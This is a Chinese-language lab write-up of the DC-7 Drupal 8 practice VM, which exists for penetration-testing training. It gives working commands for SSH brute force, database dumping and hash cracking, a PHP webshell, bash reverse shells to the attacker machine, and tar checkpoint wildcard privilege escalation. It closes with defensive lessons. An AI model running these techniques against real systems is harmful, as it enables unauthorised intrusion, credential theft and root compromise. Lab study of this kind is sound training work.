DC-7 这台靶机,是我最近在本地实验环境里反复打磨的一台 Drupal 8 综合渗透靶机,也是 DC 系列里口碑很稳的一道题。它和那种单点漏洞就能一把梭的靶机不同,整条攻击链把“信息收集、口令爆破、数据库拖库、后台 Getshell、定时任务提权”从头到尾串了一遍,非常适合想把手上的渗透测试发行版工具用明白的学习者。这篇打靶报告会按我实际复现的顺序,把每一阶段为什么这么做、命令怎么敲、哪个环节最容易卡住,写清楚记明白。
1. 靶机环境与测试前准备
1.1 靶机导入与网络拓扑
我这次用的靶机是 DC-7,来源于社区里专门练习漏洞利用的 DC 靶机系列。这一类靶机的特点就是“看起来正常、实际上浑身是缝”,比 CTF 里的纯逻辑题更接近真实网络的复杂度,而且每一代的思路都有明显差异,适合按部就班地锻炼完整攻击链。
实验环境用的是最普通的家庭虚拟化方案:宿主机一台,虚拟机软件里同时起了攻击机和靶机,两块网卡都挂在同一个仅主机模式的网段里,所有流量都限制在本地实验网,不碰公网。靶机导入后先确认它能正常启动,攻击机我选用的是自己日常使用的渗透测试发行版,工具链齐全,省得中途现装依赖。
拓扑大致如下:
| 角色 | IP | 系统 | 用途 |
|---|---|---|---|
| 攻击机 | 192.168.56.1 网卡对端 | 渗透测试发行版 | 执行扫描、爆破、反弹 shell |
| 靶机 DC-7 | 192.168.56.102 | Debian 系 | 待攻击目标 |
1.2 测试目标与评估原则
打这类靶机的目标和真实项目评估不同,不追求“三小时内拿权限”,更看重链路完整性。我在动手之前给自己定了几条原则:
- 每一步尽可能记录原始输出,方便复盘时对照。
- 优先走非破坏性路径,避免把服务打挂。
- 拿到 root 之后再进行“事后分析”,而不是中途盲目猜答案。
- 所有操作都在本地隔离网段完成,不影响任何真实业务。
实际做完之后回头看,DC-7 最有趣的地方是:它没有直接给你一个“明显的漏洞窗口”,而是先逼你在页面细节里翻线索。这是很多新手适应不了的点——总觉得没漏洞,其实线索一直都在源码注释、邮箱、脚本这些看似不起眼的地方。
2. 信息收集:缩小攻击面
2.1 端口扫描与指纹识别
接手一台靶机,我习惯先做一次全端口 TCP 扫描,同时带上服务和默认脚本探测,这样一次就能拿到端口、服务版本、系统指纹的初始信息。命令很简单:
nmap -sV -sC -p 1-65535 192.168.56.102跑完的结果非常“干净”,整个攻击面只有两条路:
| 端口 | 服务 | 版本 |
|---|---|---|
| 22/tcp | ssh | OpenSSH 7.4p1 Debian |
| 80/tcp | http | Apache httpd 2.4.25 |
只有 Web 和 SSH。一般遇到这种结果,第一反应是“突破口基本在 Web 侧”,SSH 更多是拿到凭据之后才用得上。端口越少,后续的信息收集越需要细致,因为混不进去的东西没法靠暴破扫把撑场。
2.2 Drupal 版本与页面特征
直接访问 80 端口,看到的是一个内容管理系统的站点。通过页面结构、meta 信息,再加上响应头里的一些特征,基本可以确认是 Drupal 8 系列。
再进一步,用 curl 看页面源码、请求几个 Drupal 常见的暴露文件:
curl -s http://192.168.56.102/ | head -n 60 curl -sI http://192.168.56.102/CHANGELOG.txtDrupal 的老版本经常会把 CHANGELOG.txt 或 core/CHANGELOG.txt 暴露出来,里面直接写明当前版本。虽然这台靶机不一定放了这个文件,但“页面指纹 + 源码特征”已经足够判断 CMS 类型了。
识别出 Drupal 8 后,我心里就有一份预设的攻击路径清单:后台登录、模块漏洞、用户枚举、配置文件泄露、弱口令。然而真正让我停下脚步的,是页面源码里一段不像装饰的注释。
2.3 源码里的“人肉线索”
在页面底部,有一个很不起眼的注释块,大意是:某个用户抱怨自己把口令忘在了站点某个地方,还顺带暴露了自己的账号名。注释内容不复杂,但信息量极大:
- 站点里存在一个明确的用户名,比如 john。
- 口令大概率就在站点本身的某段文字/注释里。
- 暗示方向从“技术漏洞”转到了“内容检索”。
这一点非常重要,因为它改变了思路:DC-7 不再是一个 80 端口上等着被 SQL 注入洞穿的 CMS,而是一个“需要你把站点文本当成字典”的脑力题。很多攻略里卡住的人,就是死盯着漏洞扫描器不放,忘了翻源码注释。
我把这条线索记下来,紧接着进入口令爆破环节。
3. 口令攻击:从站点抓取专属字典
3.1 为什么通用字典在这里会失效
大部分人的第一反应是拿 rockyou、SecLists 这类通用密码字典去跑 SSH。DC-7 的“恶意”在于:它故意把口令设计成“站点里出现过的词”,而不是流行密码。
所以哪怕通用字典有上千万条,也未必能命中。反而是靶机自己网页里的词,因为作者把提示和密码都埋在了页面内容里,才是最精准的答案池。
这类思路在真实世界里也有对应场景:某公司官网、论坛帖子里泄露了内部系统的账号口令习惯,攻击者扒下页面文本做一套“站点专属字典”,命中率远高于通用字典。DC-7 就是把这个过程放进了可控靶机里,逼着你练一次。
3.2 cewl 生成站点专属词典
我用 cewl 从目标站点抓取文本并生成字典:
cewl -d 3 -m 5 --with-numbers http://192.168.56.102/ -w dc7_words.txt wc -l dc7_words.txt head -n 30 dc7_words.txt参数说明:
-d 3:爬取深度设为 3,确保不止主页,还能覆盖站点里其他链接指向的页面。-m 5:只保留长度不小于 5 的单词,过滤掉无意义短词。--with-numbers:保留带数字的词,因为提示里说过口令可能带数字。-w:输出字典文件。
跑完之后字典数量并不大,也就是一两百条的量级。看一眼内容,里面确实出现了页面正文、导航、页脚里的许多关键词。按经验,能在 SSH 爆破里快速命中的密码,往往就隐藏在这一批“站点日常单词”里。
3.3 hydra 爆破 SSH
有了用户名 john 和站点专属字典,直接用 hydra 对 22 端口开跑:
hydra -l john -P dc7_words.txt ssh://192.168.56.102 -t 4 -f这里刻意把线程数压到 4,避免短时间内发送太多连接导致目标 SSH 服务响应异常。-f表示找到第一组有效凭据后立刻停止。
结果跑起来非常快,几轮之后就爆出了正确口令。回顾这组口令,它确实就是 cewl 生成出来的站点单词之一,来源正是页脚/源码注释里出现过的一个词。
这一步给我的体感是:爆破不是无脑堆字典,而是“字典质量”与“目标上下文”的匹配。相同的一句话,改一个思路,命中效率完全不同。
4. 拿下 SSH:邮箱、数据库与定时任务
4.1 登录后的常规检查
拿到 SSH 凭据后,先不急着一路往 root 冲,登录进去做常规检查:
ssh john@192.168.56.102 id sudo -l ls -la pwd historysudo -l没有任何可用权限,历史命令也都是空的,目录里除了几个隐藏文件之外,真正显眼的是当前用户目录下有一个mbox文件。看到这个名字,我第一反应就是“本地邮箱”。
在真实服务器上,邮件有时就是信息泄露的重灾区:系统通知、脚本报错、甚至运维手动维护时留下的密码,都可能躺在 mbox 里。
4.2 mbox 邮件里的秘密
直接读这个邮箱文件:
cat mbox邮件内容不多,但信息量非常大。大致情况是有人给 john 发了一封关于备份任务的通知,里面交代了两件事:
- 已把备份脚本放到
/opt/scripts/backup.sh。 - cron 会每分钟以 root 身份执行一次。
- 给了数据库备份账号 dc7user 的密码。
看到邮件内容的瞬间,整条链就清晰了一半:这台机器真正的“钥匙”不在重启服务或内核漏洞里,而在运维习惯上。备份脚本以 root 权限周期运行,说明这两个条件凑在一起,就是一个天然的提权入口。
4.3 本地 MySQL 凭据验证
我顺手确认了几个关键信息:
cat /etc/crontab ss -tlnpcrontab 里果然有一行每分钟执行的 root 任务,目标就是/opt/scripts/backup.sh。本机也监听着 3306 端口,MySQL 服务跑在本地。
这里的重点在于:数据库没有对外开放,意味着不能直接从攻击机远程连库,必须先落进系统里再连本地服务。这个设计非常真实,很多业务数据库即使有弱口令,也只会暴露在内网或回环地址,远程扫不到就是扫不到。
拿着邮件里的数据库账号和密码,本地连接验证一下:
mysql -u dc7user -pbackup4dc7 -h 127.0.0.1连接成功,说明凭据完全有效。接下来要做的事情,就是把数据库里最值钱的东西拖出来。
5. 拖库与 Drupal 管理哈希破解
5.1 连接 MySQL 导出用户表
进 MySQL 之后,先看库和表:
SHOW DATABASES; USE dc7; SHOW TABLES;这是一张 Drupal 站点的业务库,里面自然是 CMS 的标准表结构。最值得关注的是用户表,因为 Drupal 的管理员账号哈希就藏在里面:
SELECT uid, name, pass, status FROM users;查询结果里能看到管理员账号以及一段以$S$开头的哈希。这个前缀是 Drupal 使用的密码哈希特征,底层是 phpass 风格的迭代 SHA-512 类算法。
我把这段哈希完整复制到攻击机本地,存成drupal_hash.txt。这里有个细节:保存哈希时一定不要带多余引号、空格或换行符,否则后续破解工具会报格式错误。
5.2 识别 Drupal 哈希与破解
哈希形式清楚了,直接丢给 hashcat。$S$哈希在 hashcat 里对应 Drupal 7 模块,实际上 Drupal 8 继续沿用了这种哈希格式,所以模式和 Drupal 7 一致:
hashcat -m 7900 -a 0 drupal_hash.txt /usr/share/wordlists/rockyou.txt --force --status用 GPU 跑这种迭代哈希的速度很可观,配合常见的弱口令字典,几乎秒出。如果攻击机没有独立显卡,用 CPU 版本也一样能跑,只是慢一点。或者换成 john 也完全可以:
john --format=drupal7 --wordlist=/usr/share/wordlists/rockyou.txt drupal_hash.txt结果是弱口令被直接命中。看到解出来的明文密码时,我意识到这枚后台口令的强度低得离谱。结合前面的 SSH 爆破,这台靶机从头到尾都在表达同一件事:你能拿下的,基本都靠“弱口令 + 信息泄露”。
5.3 进入 Drupal 管理后台
拿管理员账号和破解出的密码登录 Drupal 后台:
# 浏览器访问 http://192.168.56.102/user/login登录成功,进来之后就是 Drupal 8 的内容管理界面。到这一步,整个攻击流程已经从“权限边界之外”推进到了“系统内部”。
后端其实是整条链上一个很常见的分水岭:很多新手拿到后台就懵了,因为 Drupal 后台默认不提供“直接写 PHP”的入口,需要手动开启模块和文本格式。这就是下一节的主要任务。
6. 后台 Getshell:PHP 过滤器与反弹 Shell
6.1 启用 PHP 过滤器
Drupal 8 默认不让你在内容里直接执行 PHP,需要的核心模块叫 PHP Filter(或者叫 PHP 模块)。在后台界面里按路径找:
- 管理(Manage)→ 扩展(Extend),在模块列表里找到 PHP Filter,勾选后安装。
- 再到 配置(Configuration)→ 文本格式与编辑器(Text formats and editors),确认存在允许 PHP code 的文本格式,并把它分配给有权限的角色。
这台靶机的镜像里 PHP 模块可以直接在后台启用,省去了用 drush 手动灌模块的一步。如果你在自己搭的环境里找不到这个模块,就需要通过 drush 或 composer 方式补齐模块目录,再回到后台启用。
启用之后仍有一个隐藏坑:内容编辑框里默认不会出现 “PHP code” 文本格式选项。需要在“文本格式与编辑器”里把 PHP code 这个格式设为管理员角色可用的格式,而且发表内容的人必须是有权限的角色。这一步不做,后面页面写进去的 PHP 只会被当作纯文本输出。
6.2 创建 PHP 页面与反弹 Shell
在后台新增一个基本页面,正文的文本格式选择 PHP code,先写最简测试命令:
<?php system($_GET['cmd']); ?>保存后访问对应节点:
# 实际路径以节点 ID 为准,比如 http://192.168.56.102/node/23?cmd=id能看到uid=33(www-data)的输出,说明 PHP 已经可以执行。紧接着把测试命令换成真正的反弹 shell:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.1/4444 0>&1'"); ?>攻击机先起监听:
nc -lnvp 4444刷新刚才的页面,监听端就能收到一个 www-data 权限的反弹 shell。
6.3 升级交互终端
这次拿到的是不完整的非交互 shell,用起来很难受。我先通过 Python 升级成标准 pty:
python3 -c 'import pty; pty.spawn("/bin/bash")'然后按常规手法把终端设为原始模式:
# 在 shell 中输入 Ctrl+Z 回到本地 stty raw -echo; fg export SHELL=/bin/bash export TERM=xterm这样得到的交互终端支持方向键、补全和全屏工具,后续查看文件、编辑脚本都方便多了。
7. 提权:tar 通配符与 root 定时任务
7.1 提权信息收集
拿到 www-data 后,当前权限只够读 Web 目录,距离 root 还有很大距离。老规矩,先把提权要素摸一遍:
id sudo -l cat /etc/crontab ls -la /opt/scriptssudo -l没有任何可用的 sudo 权限,但/etc/crontab里那一行每分钟执行的 root 任务直接把我带到了/opt/scripts/backup.sh。
7.2 分析 backup.sh 的脆弱点
查看脚本内容:
cat /opt/scripts/backup.sh脚本逻辑不复杂,大致是:
- 先
cd /var/www/html。 - 用 mysqldump 备份数据库。
- 再用 tar 打包 Web 目录下的所有内容,压缩包写到
/var/backups/。 - 最后把压缩包权限改成 777。
问题出在打包这一行:它用tar -czf 压缩包 *。这里的*通配符会在执行前被 shell 展开成/var/www/html目录下的所有文件名。
关键在于:如果目录里出现以--开头的文件名,tar 会把它们当成命令行选项来解析,而不是普通文件。这给了我们一个非常规整的“伪造 tar 参数”机会。
7.3 构造 checkpoint 触发 root shell
这个技巧的原理是 GNU tar 支持两个长选项:
--checkpoint=N:每处理 N 条记录时输出一次进度。--checkpoint-action=exec=命令:在 checkpoint 触发时执行指定命令。
由于定时任务以 root 身份执行,我们又能在 Web 根目录里创建任意文件,思路就变成:在/var/www/html里放两个名字分别为--checkpoint=1和--checkpoint-action=exec=sh /tmp/dc7shell.sh的文件,等到 cron 下一次触发备份,tar 解析到这两个“选项”后,就会以 root 权限执行我们预埋的脚本。
先准备反弹脚本并创建两个触发文件:
cat > /tmp/dc7shell.sh << 'EOF' #!/bin/bash bash -i >& /dev/tcp/192.168.56.1/6666 0>&1 EOF chmod +x /tmp/dc7shell.sh cd /var/www/html touch -- '--checkpoint=1' touch -- '--checkpoint-action=exec=sh /tmp/dc7shell.sh'攻击机开一个新监听:
nc -lnvp 6666等最多一分钟,cron 触发备份脚本,tar 在打包时碰到这两个伪造选项,自动执行了/tmp/dc7shell.sh,6666 端口立刻弹出 root shell。
7.4 验证 root 权限
进入 root shell 后,第一件事是确认身份:
id cat /root/flag.txt显示的是uid=0(root),整条攻击链到这里收官。从 Drupal 页面注释里的用户名,到 SSH 爆破、邮箱泄露、数据库拖库、后台 Getshell,再到 tar 通配符提权,这是一条非常完整的真实攻击路径,而且每一环都有明确的学习价值。
8. 常见问题排查与防御建议
8.1 各环节常见坑速查表
打靶过程中踩过几个典型的坑,整理出来给后来的人排雷:
| 环节 | 现象 | 排查方向 |
|---|---|---|
| cewl 生成字典 | 字典条数太少,hydra 全部失败 | 调大爬取深度-d,加--with-numbers,或手动把页面注释中的关键词并入 |
| hydra 爆破 | 连接异常或超时 | 降低并发线程-t 4,加-f命中即停,确认用户名准确 |
| 数据库连接 | 远程连不上 3306 | MySQL 只监听回环地址,必须先在系统内用本地连接 |
| hashcat 报错 | 提示 token 无法识别 | 检查哈希文件是否有多余空白、引号,确认模式是 7900 |
| 后台 PHP 不执行 | 页面直接输出源码 | 检查“文本格式”是否真的选择了 PHP code,角色权限是否允许 |
| tar 提权没反应 | 等了一分钟没有 root shell | 确认两个--checkpoint文件确实存在于/var/www/html,确认 cron 每分钟都在执行 |
| 反弹 shell 断开 | 刚连接就退 | 重新播放反弹命令,或改用exec 5<>/dev/tcp/...的写法,逐一试不同方式 |
8.2 这条攻击链给防御者的启示
站在防守视角复盘 DC-7,会发现这台靶机根本没有用到什么操作系统 0day,全是“低级错误”组成的链条:
- CMS 版本老旧,且把口令线索留在页面注释里。
- SSH 直接暴露在可访问网络,且允许弱口令爆破。
- 数据库口令以明文形式写在了 mbox 邮件和备份脚本里。
- 备份脚本以 root 身份运行,还用
tar ... *打包用户可写的 Web 目录。
任何一环被堵住,攻击者都会被卡死在半路。修复思路也简单直接:页面注释不留敏感信息,SSH 开启密钥登录并限制来源,数据库口令进密钥管理,备份脚本固定文件列表并避免使用 root 执行用户可控目录。网络安全很多时候不是靠一个神奇的加固工具,而是把这些细节一条条堵严。
最后说点个人体会。DC-7 最让我上头的不是哪个漏洞多高级,而是它证明了“渗透测试不是从 0day 开始的,而是从一句被遗忘在页面注释里的口令开始的”。我在实操里养成的习惯是:顺手看源码注释、随手翻邮箱、随手把每个文件权限读一遍。很多看起来毫无头绪的靶机,突破口就在这些“不起眼”的地方等着你。下次再遇到扫描器扫不出漏洞的场景,别急着换工具,先把页面翻慢一点。